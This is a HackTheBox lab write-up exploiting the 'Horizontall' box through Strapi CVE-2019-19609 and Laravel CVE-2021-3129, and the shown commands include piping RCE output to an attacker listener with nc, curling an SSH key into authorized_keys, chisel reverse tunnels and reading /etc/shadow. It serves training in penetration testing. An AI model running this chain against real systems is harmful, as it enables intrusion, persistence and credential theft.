Horizontall - HackTheBox Writeup (10.10.11.105)

Posted on Sat, Jan 29, 2022 Easy Linux Web Application Strapi Laravel
Easy-difficulty Linux box on exploiting CVE-2019-19609 on Strapi and CVE-2021-3129 on Laravel. A good refresher on reverse tunnelling with Chisel and subdomain enumeration techniques.

Preface

It’s been a while since my last post, but with a new year comes new boxes to pwn 😇

To improve my notetaking and make the posts more readable, I’ve also decided to stay away from the usual dot-point format and switch to a paragraph approach, similar to my CTF challenge writeups. This should allow me to explain my thought process a little bit better.

Reconnaissance

Before we do anything, let’s add the target IP and hostname to our hosts file:

$ sudo nano /etc/hosts

10.10.11.105    horizontall.htb

As usual, we perform a simple port scan to see what kind of services the target is running.

$ nmap -p- 10.10.11.105 > ports.nmap

Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.033s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 15.64 seconds

We see that the target has ports 22 and 80 open, let’s get more information about these two services by performing a script scan (-sC) with version detection enabled (-sV):

$ nmap -sC -sV -p 22,80 10.10.11.105 > targeted.nmap

Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.26s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.92 seconds

The target is running an SSH server on port 22, and a website with Nginx 1.14.0 on port 80. The SSH version appears to be recent, so let’s begin by enumerating the HTTP server.

Enumeration

HTTP Enumeration

Looking at the website on port 80, there doesn’t seem to be anything of interest. All of the buttons lead to dead links, and the contact box at the bottom does not seem to do anything either.

From the nmap scan of the port and the detection result from Wappalyzer (browser extension for detecting website technologies), we see the site is running an old version of Nginx (1.14.0).

With that information in mind, we can try to search for vulnerabilities in that specific version of Nginx. I came across a critical off-by-one heap write vulnerability in the DNS resolver (CVE-2021-23017) that in theory, can lead to remote code execution. Unfortunately, this vulnerability could not be exploited as it requires the attacker to forge UDP packets from the DNS server, which we do not have control over. Seeing as the vulnerability can also cause the worker process to crash (DoS), I realised this was not the intended solution and moved on.

To find out more about the website’s structure, we can use gobuster to bruteforce the directory listings on the site:

$ gobuster dir -w ~/HTB/Common/directory-list-2.3-medium.txt -u http://horizontall.htb/

===============================================================
/img                  (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]
/css                  (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]
/js                   (Status: 301) [Size: 194] [--> http://horizontall.htb/js/]

Again, nothing interesting. The JavaScript is fairly stock-standard and seems to be from the website template, nothing useful in the CSS either.

After much time wasted in enumerating the website to no avail, I tried bruteforcing for other subdomains:

$ gobuster vhost -w ~/HTB/Common/subdomains-top1million-110000.txt -u http://horizontall.htb/

===============================================================
Found: api-prod.horizontall.htb (Status: 200) [Size: 413]

Great! We found an api-prod subdomain that could be useful for us. Let’s append it to the hosts file:

$ sudo nano /etc/hosts

10.10.11.105    horizontall.htb    api-prod.horizontall.htb

API Subdomain Enumeration

Visiting the new API subdomain, we see a blank page with only the words “Welcome”:

Repeating the previous enumeration process, let’s bruteforce the directory listings on the API subdomain with gobuster:

$ gobuster dir -w ~/HTB/Common/directory-list-2.3-medium.txt -u http://api-prod.horizontall.htb/

===============================================================
/reviews              (Status: 200) [Size: 507]
/users                (Status: 403) [Size: 60] 
/admin                (Status: 200) [Size: 854]

Browsing the /reviews path, we can find some very nicely written customer reviews:

Visiting /admin, we are redirected to a login page for a Strapi CMS dashboard:

Exploitation

Exploiting Strapi with CVE-2019-19609

A quick search for Strapi reveals the software had suffered from an unauthenticated RCE vulnerability in its plugin install component of the admin panel (CVE-2019-19609). The vulnerability is caused by insufficient input sanitisation of plugin names in the Install and Uninstall Plugin components of the admin panel, so attackers can inject arbitrary shell commands to be executed by the execa function. Exploits for this vulnerability are widely available online, here is one written by Musyoka Ian (EDB-50239).

$ python /usr/share/exploitdb/exploits/multiple/webapps/50239.py http://api-prod.horizontall.htb/

[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit

[+] Password reset was successfully
[+] Your email is: [email protected]
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQyMjU4NjU2LCJleHAiOjE2NDQ4NTA2NTZ9.-P7dzFedeHpbuMf_Lm6o3yXbO516Dx6vquvCoRh6x1s

$> _

Using the exploit, we successfully reset the administrator’s credentials as admin:SuperStrongPassword1, and gained the ability to execute code on the server as indicated by the prompt.

$> id

[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}

We won’t be able to see any output with the exploit, as it is a blind RCE. Luckily, we can circumvent this limitation by setting up a listener on our attacker machine, then piping the victim output to us with nc:

$ nc -lvnp 9001

$> id | nc 10.10.14.45 9001

listening on [any] 9001 ...
connect to [10.10.14.45] from (UNKNOWN) [10.10.11.105] 52682
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)

Looks like we’re in as the Strapi user.

Gaining SSH access

Still, we can do much better. Let’s grant ourselves SSH access by appending our public key to the user’s authorized_keys file. To do this, we can first copy our id_rsa.pub file to a www directory, and host it such that it can be accessed by the victim as so:

$ cp ~/.ssh/id_rsa.pub .

$ python -m http.server

Then, use curl on the victim machine to create an authorized_keys file containing our public key. We also add the --create-dirs option, just in case the directory doesn’t exist in our user’s folder already:

$> curl --create-dirs -o ~/.ssh/authorized_keys http://10.10.14.45:8000/authorized_keys

We can then simply SSH in as the Strapi user:

$ ssh [email protected]

And we’ve gained a shell. Though, the default /bin/sh shell isn’t the most interactive shell. We can upgrade it by simply running /bin/bash on the victim machine:

$ bash

Looking at the /home directory, we spot a “developer” user. Let’s see if we can read their files:

$ ls -la /home/developer

total 108
drwxr-xr-x  8 developer developer  4096 Aug  2 12:07 .
drwxr-xr-x  3 root      root       4096 May 25  2021 ..
lrwxrwxrwx  1 root      root          9 Aug  2 12:05 .bash_history -> /dev/null
-rw-r-----  1 developer developer   242 Jun  1  2021 .bash_logout
-rw-r-----  1 developer developer  3810 Jun  1  2021 .bashrc
drwx------  3 developer developer  4096 May 26  2021 .cache
-rw-rw----  1 developer developer 58460 May 26  2021 composer-setup.php
drwx------  5 developer developer  4096 Jun  1  2021 .config
drwx------  3 developer developer  4096 May 25  2021 .gnupg
drwxrwx---  3 developer developer  4096 May 25  2021 .local
drwx------ 12 developer developer  4096 May 26  2021 myproject
-rw-r-----  1 developer developer   807 Apr  4  2018 .profile
drwxrwx---  2 developer developer  4096 Jun  4  2021 .ssh
-r--r--r--  1 developer developer    33 Jan 15 08:37 user.txt
lrwxrwxrwx  1 root      root          9 Aug  2 12:07 .viminfo -> /dev/null

We can read the user flag!

$ cat /home/developer/user.txt

Privilege Escalation

Enumerating for other services

While enumerating for common info on the machine, I found a few more services running that are only accessible from the internal network:

$ netstat -tulnp

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1614/node /usr/bin/ 
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

We have already discovered ports 22 (SSH), 80 (HTTP) in our external scan. If we make a curl connection to port 1337 with something like:

$ curl 127.0.0.1:1337

We see that it is running the Strapi CMS that we just exploited. So, this leaves only port 3306 and 8000. We know that port 3306 is usually reserved for MySQL databases, so let’s check out port 8000 first, as it could suggest another web application running on the machine.

Connecting to port 8000 with curl again, there seem to be a web server running Laravel. We can use chisel, a fast TCP/UDP tunnel over HTTP, to forward port 8000 on the victim’s machine to our local attacker machine through a reverse tunnel and investigate it further. First, let’s set up a server listening (on a port other than 8000) for the victim’s reverse connection:

$ ./chisel server -p 9001 --reverse

Then, on the victim’s machine, we upload the chisel binary using scp as we already have SSH access:

$ scp ./chisel [email protected]:/dev/shm

Finally, to forward the connection locally, we run chisel in client mode to connect to our server:

$ ./chisel client 10.10.14.45:9001 R:8000:127.0.0.1:8000

Note that as the Laravel site shares the same port as our HTTP server (8000), we will need to shutdown our HTTP server first.

We can then check out the site by visiting 127.0.0.1:8000 in our browser:

Exploiting Laravel with CVE-2021-3129

It seems like the site is running an outdated version of Laravel, and may be vulnerable to RCE if debug mode were to be enabled (CVE-2021-3129). One way of verifying this is by seeing if an error exception causes a suggested “solution” to be generated, which can look something like this:

This vulnerability is well documented and mainly stems from the insecure use of file_get_content() and file_put_contents() calls in the Ignition error page module, particularly in its “Solutions” feature that suggests fixes to errors. We can use this exploit written by nth347:

$ ./exploit.py http://127.0.0.1:8000 Monolog/RCE1 "whoami && id"

[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

root
uid=0(root) gid=0(root) groups=0(root)

[i] Trying to clear logs
[+] Logs cleared

Looks like this application is running on the machine as root! Let’s gain access by once again copying our SSH public key to the ~/.ssh/authorized_keys file. We begin by starting up our HTTP server, this time on a different port since 8000 is already taken:

$ cd ./www && python -m http.server 7000

Now, using the same exploit:

$ ./exploit.py http://127.0.0.1:8000 Monolog/RCE1 "curl --create-dirs -o /root/.ssh/authorized_keys http://10.10.14.45:7000/authorized_keys"

We can then simply SSH into the machine as root:

$ ssh [email protected]

Let’s get the root flag!

$ cat root.txt

Persistence

We can get the root user's password hash from /etc/shadow:

$ cat /etc/shadow

root:$6$rGxQBZV9$SbzCXDzp1MEx7xxXYuV5voXCy4k9OdyCDbyJcWuETBujfMrpfVtTXjbx82bTNlPK6Ayg8SqKMYgVlYukVOKJz1:18836:0:99999:7:::

Let’s clean up after ourselves and delete any residual files:

$ rm /dev/shm/chisel

Resources

  1. Gobuster usage tutorial - https://erev0s.com/blog/gobuster-directory-dns-and-virtual-hosts-bruteforcing/
  2. Technical analysis of CVE-2019-19609 - https://bittherapy.net/post/strapi-framework-remote-code-execution/
  3. Tunneling with Chisel - https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html
  4. Laravel debug mode RCE (CVE-2021-3129) - https://www.ambionics.io/blog/laravel-debug-rce